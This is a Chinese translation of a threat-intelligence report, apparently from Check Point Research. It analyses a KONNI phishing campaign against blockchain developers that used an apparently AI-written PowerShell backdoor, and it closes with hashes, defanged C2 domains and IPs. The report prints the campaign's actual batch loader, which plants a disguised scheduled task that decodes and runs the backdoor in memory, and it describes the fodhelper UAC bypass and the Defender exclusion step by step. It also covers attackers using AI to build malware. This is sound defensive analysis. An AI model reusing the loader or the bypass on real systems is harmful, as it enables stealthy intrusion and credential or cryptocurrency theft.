KONNI黑客组织利用AI生成PowerShell后门的技术分析

6 阅读19分钟

KONNI采用AI生成PowerShell后门

关键发现:

  • Check Point Research (CPR) 正在追踪一个与朝鲜结盟的威胁行为者KONNI相关的钓鱼活动。
  • 此活动的目标范围超出了KONNI通常的焦点区域,表明其将目标扩展至亚太地区,包括日本、澳大利亚和印度。
  • 该活动针对具有区块链相关资源和基础设施专业知识的软件开发者和工程团队。
  • 攻击者部署了一个AI生成的PowerShell后门,突显了包括朝鲜黑客组织在内的威胁行为者越来越多地使用AI技术的趋势。

引言

Check Point Research (CPR) 发现了一个正在进行的钓鱼活动,我们认为该活动与KONNI有关,这是一个自2014年以来活跃的与朝鲜相关的威胁行为者。KONNI以针对韩国的组织和个人而闻名,重点关注外交渠道、国际关系、非政府组织、学术界和政府。该组织通常依赖于鱼叉式网络钓鱼,分发以朝鲜半岛地缘政治问题和活动为主题的武器化文档。

在本文中,我们描述了KONNI近期针对软件开发者和工程团队的一次行动。攻击者使用伪装成合法项目文档的诱饵内容,这些内容通常与区块链和加密货币项目相关。这种目标选择表明,其意图是入侵那些能够访问区块链相关资源和基础设施的目标。

虽然投递和分段步骤与KONNI已确立的战术手法相符,但此次活动显示出将目标扩展至亚太地区的迹象,超出了该组织通常的关注范围。该活动的另一个显著特点是使用了AI编写的PowerShell后门,这反映了包括与朝鲜结盟的组织在内的威胁行为者越来越多地采用AI辅助工具的趋势。

目标与诱饵

历史上,KONNI的活动主要集中在韩国,仅在境外有零星目标。然而,在此次活动中,多个样本由与日本、澳大利亚和印度相关的提交者上传到VirusTotal,表明其地理范围可能已超出该组织传统活动区域。

该活动似乎以工程团队为目标,明显侧重于区块链相关技术。诱饵文档被呈现为合法的项目材料,并包含技术细节,如架构、技术栈、开发时间表,在某些情况下还包括预算和交付里程碑。这种模式暗示了其意图是入侵开发环境,从而获得对敏感资产的访问权限,包括基础设施、API凭证、钱包访问权限,最终目标是加密货币资产。

虽然这种对区块链和加密货币的关注通常与其他与朝鲜结盟的行为者更相关,但有迹象表明KONNI过去也参与过以经济利益为动机和与加密货币相关的目标活动。

感染链

感染链始于一个托管在Discord上的链接,该链接通过未知途径下载一个ZIP压缩包。ZIP包含两个文件:一个PDF诱饵文档和一个Windows快捷方式(LNK)文件。LNK启动一个嵌入式的PowerShell加载器,该加载器解压出另外两个文件:一个DOCX诱饵文档和一个CAB压缩包,两者都嵌入在LNK中,并使用单字节密钥进行XOR编码。

执行时,LNK会:

  • 将DOCX和CAB文件写入磁盘。
  • 打开DOCX诱饵以分散用户注意力。
  • 解压CAB压缩包,其中包含:
    • PowerShell后门
    • 两个批处理文件
    • 一个用于UAC绕过的可执行文件
  • 执行从CAB中解压出的第一个批处理文件。
@echo off
    mkdir "C:\ProgramData\VljE"
    move "C:\ProgramData\zVJs.ps1" C:\ProgramData\VljE\
    move "C:\ProgramData\mKIftBn.bat" C:\ProgramData\VljE\
    schtasks /create /sc hourly /mo 1 /tn "OneDrive Startup Task-S-1-5-21-3315426051-1901789636-3309192473-4545" /tr "cmd /c powershell -w h $d=[IO.File]::ReadAllBytes(\\\"C:\ProgramData\VljE\zVJs.ps1\\\");$b=[Text.Encoding]::UTF8.GetBytes(\\\"Q\\\");for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$b[$i%%$b.Length]};$c=[Text.Encoding]::UTF8.GetString($d);iex $c" /rl limited /ru "%username%" /f
    timeout -t 3 /nobreak
    "C:\ProgramData\OneDriveUpdater.exe"
    del "%~f0"&exit /b

第一阶段的批处理脚本在 C:\ProgramData 中创建一个新的暂存目录,用于存储恶意组件。然后,脚本将PowerShell后门代码和另一个批处理文件移动到此目录。为了建立持久性,脚本创建了一个计划任务,伪装成合法的OneDrive启动任务,配置为每小时以当前用户权限运行一次。此任务执行一个内联PowerShell命令,该命令从磁盘读取加密的PowerShell后门,使用单字节密钥‘Q’进行XOR解密,并立即在内存中执行解码后的脚本。然后它尝试启动 OneDriveUpdater.exe,该文件在此感染链中不存在,是先前版本遗留的构件。最后,批处理脚本从磁盘中删除自身并退出,移除了初始执行痕迹以降低取证可见性。

PowerShell后门严重混淆,使用了基于算术的字符编码。每个字符串通过加减数字字面量来构建,这些数字在运行时解析为单个ASCII字符。这些解码后的字符被连接成多个变量,有效地充当了一个字符串字典。最后阶段使用IEX动态重建并执行恶意逻辑,其子字符串从先前构建的变量中索引。

AI的使用

PowerShell后门强烈表明其是AI辅助开发的产物,而非传统的由操作者编写的恶意软件。

乍一看,该脚本具有异常整洁的结构。它以清晰、易读的文档开头,描述了脚本的功能: “该脚本确保每次只运行一个基于此UUID的项目实例。它每13分钟通过HTTP GET发送系统信息。”

这种前置文档的水平对于商业级或APT编写的PowerShell植入物来说是不典型的。该脚本进一步划分为定义良好的逻辑部分,每个部分处理一个特定任务,反映了现代软件工程惯例,而非临时性的恶意软件开发。

虽然仅凭清晰的结构和注释不足以归因于AI来源,但脚本中包含了一个更能说明问题的指标。直接嵌入在代码中的注释是: “# <– your permanent project UUID” 这种措辞非常具有LLM生成代码的特征,模型明确指示人类用户如何自定义占位值。此类注释在AI生成的脚本和教程中很常见。

详细的文档、模块化的布局和指导性的占位符注释都强烈表明,该PowerShell后门是使用AI系统生成的,这标志着KONNI APT工具开发的显著转变。

PowerShell后门分析

PowerShell后门在开始执行时会进行一系列反分析和沙箱规避检查。这些检查包括验证主机是否满足最低硬件阈值,并主动扫描是否存在IDA、Wireshark、Procmon等分析和监控工具。此外,后门通过监控鼠标活动来强制执行用户交互检查,并需要达到最低点击次数才能继续。如果不满足这些条件,脚本会立即终止。

满足这些条件后,后门通过创建名为 Global\SysInfoProject_<projectUUID> 的全局互斥体来强制执行单实例执行。项目UUID是硬编码的,并且在此活动中所有分析的样本中都相同:f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61。然后,后门生成一个用于C2追踪的主机特定标识符。它通过查询WMI获取主板序列号和系统UUID来对系统进行指纹识别。将这些值连接起来,使用SHA-256进行哈希处理,然后将得到的十六进制哈希截断为前16个字符。为了进一步区分感染并使操作者能够区分不同活动中的受害者,在传输前会将一个硬编码的活动特定字符串附加到此标识符之后。

接下来,恶意软件评估其当前权限级别,并根据结果采取不同路径:

  • 用户 – 后门使用 fodhelper UAC绕过技术提升权限。该技术滥用自动提权的 fodhelper.exe 二进制文件,通过修改 HKCU\Software\Classes 下的注册表键来重定向Windows解析 ms-settings 协议的方式。在这种情况下,它在 HKCU\Software\Classes\.thm\Shell\Open\command 中创建一个指向攻击者控制的可执行文件的自定义处理程序,并设置 HKCU\Software\Classes\ms-settings\CurVer 来引用 .thm 文件类型。当 fodhelper.exe 启动时,Windows遵循此重定向解析路径,导致 fodhelper.exe 在不触发UAC提示的情况下执行攻击者控制的有效载荷。在此次活动中,提升权限后的有效载荷是 rKXujm.exe,一个32位小工具,其唯一目的是将注册表项 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin 修改为0,从而有效地为管理员帐户禁用UAC提示。成功执行后,流程继续到管理员场景。
  • 管理员 – 后门清理之前释放的UAC绕过可执行文件。然后,后门为 C:\ProgramData 添加Windows Defender排除项,并执行感染链早期解压出的第二个批处理脚本。该脚本将现有的计划任务替换为一个配置为以提升权限运行的新任务,确保在高完整性上下文中持久执行。
  • 系统 – 后门部署 SimpleHelp,一个合法的RMM工具,表明操作者意图在PowerShell后门之外维持长期的交互式访问。

作为C2通信的第一步,后门执行JavaScript挑战模拟,从服务器获取一个名为 __test 的必要会话cookie。C2端点受客户端AES门控保护,旨在阻止非浏览器流量。后门并未使用浏览器,而是下载该站点使用的相同AES实现,重构嵌入的JavaScript逻辑,解密服务器提供的密文,并以编程方式提取预期的令牌。该令牌随后在后续HTTP请求中作为有效cookie使用,使后门能够访问C2基础设施,同时绕过基本的反机器人和非浏览器过滤机制。认证后,后门定期将主机元数据(包括生成的主机ID、权限级别、本地IPv4地址和用户名)发送到基于PHP的C2端点。服务器响应被视为任务:如果返回PowerShell代码,则将其转换为脚本块,并通过后台作业异步执行。命令轮询以随机间隔进行,并且黑名单检查在运行期间持续进行,如果检测到分析工具则终止执行。

感染链的早期变种

2025年10月上传到VirusTotal的样本揭示了一个早期版本的感染链。在这个变种中,初始有效载荷是一个混淆的PowerShell脚本,使用了相同的混淆方法(基于算术的字符编码),该方法从攻击者控制的服务器检索多个辅助组件。这些组件包括批处理文件、VBScript启动器、一个PowerShell后门以及两个PE文件:uc.exe(与前面讨论的用于UAC绕过的可执行文件相同)和 OneDriveUpdater.exe。OneDriveUpdater在后续活动的样本中不存在(尽管批处理文件中提到了它),它是一个64位PE文件,其主要目的是下载并执行Simple Help客户端,从而为攻击者提供交互式远程访问。

执行始于 start.vbs,它静默启动 simi.bat。与后续样本中描述的主要批处理文件类似,simi.batC:\ProgramData 中创建一个专用子目录,并将下载的脚本移至该目录进行暂存。除了组织工具外,simi.bat 还执行 OneDriveUpdater.exe,然后启动 schedule1.bat。该脚本通过创建一个计划任务来建立持久性,该任务定期运行PowerShell后门(在此例中名为 OneDriveUpdate.ps1)。虽然执行流程与后续样本基本一致,但这个早期变种将其功能分布在多个脚本中,而不是合并到一个批处理文件中。 start.vbs 启动执行,simi.bat 处理暂存和有效载荷执行,而 schedule1.bat 负责持久性。同样的模块化结构也适用于此处未明确描述的其他支持脚本。

归因

在此次活动中观察到的战术、技术和程序与归因于朝鲜行为者的活动高度吻合,特别是与KONNI APT集群相关的活动。该活动由一个武器化的LNK快捷方式发起,其结构和执行逻辑与早期报告中描述的归因于KONNI的LNK启动器非常相似,包括一个诱饵文件名直接与先前报告的KONNI构件重叠的案例。更广泛的执行链同样与记录在案的KONNI操作一致:一个模块化的、多阶段的链,围绕VBS和多个BAT脚本构建,每个组件执行一个范围狭窄的角色。最后,此活动中的早期变种重复使用了历史上KONNI活动中出现的脚本名称和代码模式,这加强了我们认为此活动是KONNI工具集一部分的评估。

结论

此活动突显了KONNI APT组织的演变。投递和暂存阶段仍然与先前记录的KONNI战术手法一致,包括使用武器化的LNK快捷方式和由范围狭窄的脚本组件构建的模块化多阶段执行链。这些重叠,加上先前报告中看到的重复命名约定和执行逻辑,这些构件加强了我们将其归因于KONNI工具集的判断。

同时,目标选择反映了其行为的显著转变。该行动围绕以区块链为主题的项目材料构建,并似乎旨在接触软件开发者和工程团队,指向一个以获取访问权限为导向的目标。该活动目标不再是单个最终用户,而是旨在在开发环境中建立据点,在此环境中,入侵可以为跨多个项目和服务的更广泛下游访问提供途径。

最后,此次活动因其明显使用了AI编写的PowerShell后门而引人注目。AI辅助工具的引入表明,在继续依赖已验证的投递方法和社会工程学的同时,该组织正在努力加速开发并标准化代码。结合表明其活动超出KONNI历史上以韩国为中心的足迹的指标,这次行动展示了一个成熟的威胁行为者如何在适应其目标和工具的同时,维持稳定的入侵工作流程。

IOCs

哈希值: ZIP: c79ef37866b2dff0afb9ca07b4a7c381ba0b201341f969269971398b69ade5d5 c040756802a217abf077b2f14effb1ed68e36165fde660fef8ff0cfa2856f25d f619d63aa8d09bafb13c812bf60f2b9189a8dc696c7cef2f246c6b223222e94c b411fbe03d429556ced09412dd26dc972ee55cff907bfdb5594fe9e3f1c9f0b2 fcc9b2ac73a0ca01fb999e6aa1a8bdbd89e632939443bcc9186ae1294089123e

LNK: 39fdff2ea1a5e2b6151eccc89ca6d2df33b64e09145768442cec93a578f1760c 26356e12aae0a2ab1fd0ec15d49208603d3dd1041d50a0b153ab577319797715 a1d4272ec0ce88f9c697b3e6c70624ec5f1ad9a83c9e64120b5ee21688365af9 856ac810f4a00a7e3fa89aec4c94cc166ae6ccf06c3557e9694f8639223ce25d e57fa2d1d3e2bff9603ce052e51a8d6ee5c6d207633765b401399b136249ca35 c94e58f134c26c3dc25f69e4da81d75cbf4b4235bcfb40b17754da5fe07aad0a 3b67217507e0c44bd7a4cfafed0e8958d21594c98eec43a999614815a7060410

CAB: de75afa15029283154cf379bc9bb7459cbcd548ff9d11efe24eb2fde7552af07 8647209127d998774179aa889d2fcc664153d73557e2cca5f29c261c48dd8772

脚本: b958d4d6ce65d1c081800fc14e558c34daff3b28cdd45323d05b8d40c4146c3c b15f95d0f269bc1edce0e07635681d7dd478c0daa82c6bfd50c551435eba10ff c2ec24dea46273085daa82e83c1c38f3921c718a61f617a66e8b715d1dcc0f57 fb9f16a8900bae93dd93b5d059a0d2997c1db7198acf731f3acf1696a19eeead c3c8d6ea686ad87ca2c6fcb5d76da582078779ed77c7544b4095ecd7616ba39d af8ca986a52e312fb85f97b235e4b406d665d7ac09cbdb5e25662d4c508ebad4 ec8c191ad171cf40461dc870b02f5c4e9904f9fec1191174d524b1fb3cbde47f 738637fcb82920f418111c0cd83d74d9a0807972a73abfbdc71b7446e5bd6a9d 159f81fc57399186503190562f28b2dd430d8cc07303e15e2ec60aee6bca798c eec55e9a7f27f2ecaba71735fbd636679783ff60d9019eabf8216beebd47300b 20e61936144822399149e651da665eb67b16e90ec824dac3d9eec8a4da42fdd2 851695cb3807a693aae25c8b9ade20a90eaea6802bc619c1d19d121a92aef7a0 1ebc4542905c8d4fd8ac6f6d9fadeef51698e5916f6ce1bcc61dcfdea02758ec 48585baa9f1c2b721bb8c4fbd88eff65f8fa580a662aadcd143bc4fda6590156

可执行文件: f8e86693916be2178b948418228d116a8f73c7856e11c1f4470b8c413268c6c8 64e6a852fc2e4d3e357222692eefbf445c2bd9ba654b83e64fe9913f2bb115cc 26a01ffa237241e31a59f1ff4d62a063f55c97598732d55855cce18b8b27b2d6

域名和IP: filetrasfer.wuaze[.]com goldenftp.rf[.]gd plaza.xo[.]je gabber.42web[.]io humimianserver.kesug[.]com drone.ct[.]ws 46.4.112[.]56 192.144.34[.]77 192.144.34[.]40 34.203.111[.]164 223.16.184[.]105 CjCFFIeR8ym/owPWlcCc+Hg+BVd/b5mMK4Q8QsvZEaKShlW5vmypXRU60tzAlarqBKLKPw7qUTNVdd3QfkTzlUNFzA7f737omPb0TpEXtnQ=